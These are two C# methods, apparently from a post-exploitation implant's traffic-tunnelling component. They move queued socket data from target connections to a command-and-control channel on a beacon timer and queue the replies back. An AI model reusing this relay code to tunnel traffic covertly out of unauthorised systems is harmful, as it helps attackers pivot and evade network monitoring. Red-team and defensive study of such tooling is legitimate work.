public void SendToTarget() { var SendWait = new ManualResetEvent(false); while (!Cancel.IsCancellationRequested) { RecvedData.WaitOne(-1);; RecvedData.Reset(); foreach (var key in Targets.Keys) { TargetInfo trget = null; try { if (Targets.ContainsKey(key)) { trget = Targets[key]; } if (null != trget && !trget.Exit) { List <byte> readPyld = null; var payload = new List <byte>(); while (trget.ReadQueue.Count > 0) { trget.ReadQueue.TryDequeue(out readPyld); payload.AddRange(readPyld); } if (payload.Count > 0) { Task.Factory.StartNew(() => { List <byte> toSend = null; try { toSend = CmdCommshandler.Send(trget, "asyncUpload", payload, out bool connectionDead); ImplantComms.LogMessage($"[{trget.TargetId}] Received {toSend?.Count() ?? 0} bytes after sending {payload?.Count ?? 0 } bytes"); if (null == toSend || connectionDead) { ImplantComms.LogError($"[{trget.TargetId}] Connection looks dead EXITING"); trget.Exit = true; } else if (toSend.Count > 0) { trget.WriteQueue.Enqueue(toSend); SentData.Set(); } } catch { trget.Exit = true; ImplantComms.LogError($"[{trget.TargetId}] Couldn't send {toSend?.Count()} bytes"); } }); ImplantComms.LogMessage($"[{trget.TargetId}] {payload?.Count() ?? 0} bytes arrived from target about to send back"); } } SendWait.WaitOne(BeaconTime); } catch (Exception ex) { if (null != trget) { trget.Exit = true; } ImplantComms.LogError($"[{trget.TargetId}] Error during Send Data loop {ex}"); } } } }
bool ProxyLoop(String targetId) { List <byte> toSend = null; bool connectionHasFailed = false, connectionDead = false; TargetInfo target = null; _mapTargetToCount.Add(targetId, 1); var wait = new ManualResetEvent(false); try { target = _targets[targetId]; if (null == target) { ErrorHandler.LogError("Can't find target for GUID: " + targetId.ToString() + " exiting this proxy loop"); return(true); } while (!target.Exit) { toSend = CmdCommshandler.Send(target, "nochange", null, out connectionDead); if (null == toSend || connectionDead) { ErrorHandler.LogError($"[{target.TargetId}] Connection looks dead EXITING"); return(target.Exit = connectionDead); } else if (toSend.Count > 0) { target.WriteQueue.Enqueue(toSend); socketComms.SentData.Set(); _mapTargetToCount[targetId] = 1; } else if (_mapTargetToCount[targetId]++ == 2) { ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request"); } else { ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request({_mapTargetToCount[targetId]})"); } wait.WaitOne(BeaconTime); } return(true); } catch (Exception ex) { ErrorHandler.LogError($"[{target.TargetId}] ERROR: {target.TargetTcpClient.Client.RemoteEndPoint.ToString()} {ex.Message}"); if (null != target && null != target.TargetTcpClient) { if (target.TargetTcpClient.Connected) { target.TargetTcpClient.Close(); } else { ErrorHandler.LogError($"[{target.TargetId}] Target is null {target == null} & target.TargetTcpClient is null {target.TargetTcpClient == null} "); } } } finally { if (null != target && null != target.TargetTcpClient) { if (target.TargetTcpClient.Connected) { target.TargetTcpClient.Close(); } } if (!connectionHasFailed) { CmdCommshandler.Send(target, "closed", null, out connectionDead); } } target.Exit = true; return(true); }